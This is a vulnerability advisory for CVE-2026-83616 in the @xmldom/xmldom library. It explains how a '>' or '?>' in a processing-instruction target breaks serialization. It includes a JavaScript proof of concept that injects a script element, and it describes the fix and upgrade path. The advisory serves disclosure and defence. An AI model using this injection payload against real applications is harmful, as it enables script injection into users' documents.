CVE-2026-83616: @xmldom/xmldom Processing Instruction Target Injection
A missing validation in @xmldom/xmldom lets an attacker embed a '>' character in a processing-instruction target, breaking the PI boundary during serialization and injecting arbitrary XML or script…

The problem
Document.createProcessingInstruction(target, data) in lib/dom.js stores any string as the PI target without validation. During serialization the output is written verbatim as <?target data?>, so a '>' in the target immediately closes the PI element.
On versions 0.8.x the requireWellFormed: true serializer option performed no target check at all. On 0.9.x it only rejected a colon and a case-insensitive 'xml' prefix. Neither branch blocked '>', '?', or whitespace, so the well-formed flag gave a false sense of security while still emitting injectable output.
Proof of concept
A working proof-of-concept for CVE-2026-83616 in @xmldom/xmldom, with the exact payload below.
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');
const impl = new DOMImplementation();
const doc = impl.createDocument(null, 'root', null);
const ser = new XMLSerializer();
// Simple boundary break: > in target closes the PI prematurely.
const pi1 = doc.createProcessingInstruction('a>', 'data');
doc.documentElement.appendChild(pi1);
console.log(ser.serializeToString(doc, { requireWellFormed: true }));
// => <root><?a> data?></root>
// Parser sees PI target "a", then text node " data?>" -- injection confirmed.
// Element injection: inject a full XHTML <script> block.
const pi2 = doc.createProcessingInstruction(
'a?><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script><?b',
''
);
doc.documentElement.appendChild(pi2);
console.log(ser.serializeToString(doc, { requireWellFormed: true }));
// Output contains: <?a?><script xmlns="...">alert(1)</script><?b ?>
// requireWellFormed: true did NOT prevent the injection.The root cause is CWE-91: the serializer emits the target verbatim inside the <?...?> delimiters. A '>' anywhere in that string terminates the processing instruction early because XML parsers treat the first '>' they see as closing the current construct. The more powerful variant uses '?>' to also close the PI data field, then injects a complete element (here an XHTML script tag) before opening a new dummy PI to absorb the trailing '?>'.
The patch (commits 3b694872 for 0.8.15 and 1cde3e31 for 0.9.12) adds an NCName validity check on the PI target inside the requireWellFormed serialization path. Any target that is not a valid XML NCName, including one containing '>', '?', or whitespace, now throws InvalidStateError before any output is emitted.
The check is opt-in: the default serialization path still emits verbatim, matching browser XMLSerializer behavior.
The fix
Upgrade @xmldom/xmldom to 0.8.15 (LTS) or 0.9.12. After upgrading, pass { requireWellFormed: true } to every XMLSerializer.serializeToString() call that handles untrusted input. Audit all call sites that accept user-controlled PI targets, because the default (no option) path still emits verbatim and remains unsafe.
Creation-time validation of the target in createProcessingInstruction() is deferred to the next breaking release (tracked in xmldom/xmldom#1073).
Related research
- highCVE-2026-83607CVE-2026-83607: @xmldom/xmldom Element Name Injection via createElement()
- highCVE-2026-83605CVE-2026-83605: @xmldom/xmldom Attribute Name Injection via setAttribute()
- highCVE-2026-83618CVE-2026-83618: @xmldom/xmldom requireWellFormed DocType Injection Bypass via Embedded Line Terminator
- highCVE-2026-83609CVE-2026-83609: @xmldom/xmldom XML Injection via Line Terminator in QName Validation